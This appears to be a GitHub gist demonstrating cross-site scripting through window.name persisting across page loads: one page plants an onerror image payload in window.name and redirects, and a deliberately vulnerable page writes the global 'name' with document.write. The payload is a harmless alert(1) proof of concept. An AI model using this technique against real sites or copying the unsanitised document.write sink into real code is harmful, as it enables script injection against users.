Created
December 7, 2020 09:04
-
-
Save nv1t/6b95d21b95b88224112387ac82641464 to your computer and use it in GitHub Desktop.
Executes an XSS based on window.name as global variable existing between states
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Setting "window.name = '<img src=0 onerror=alert(1)>' and redirecting to XSS Page (xss.html) in 5 seconds | |
<script> | |
window.name = "<img src=0 onerror=alert(1)>"; | |
setTimeout(function() { | |
window.location = "xss.html" | |
},5000); | |
</script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
var name; | |
if(location.hash === "#welcome") { | |
name = "potatocup" | |
} | |
document.write(`hello ${name}`) | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment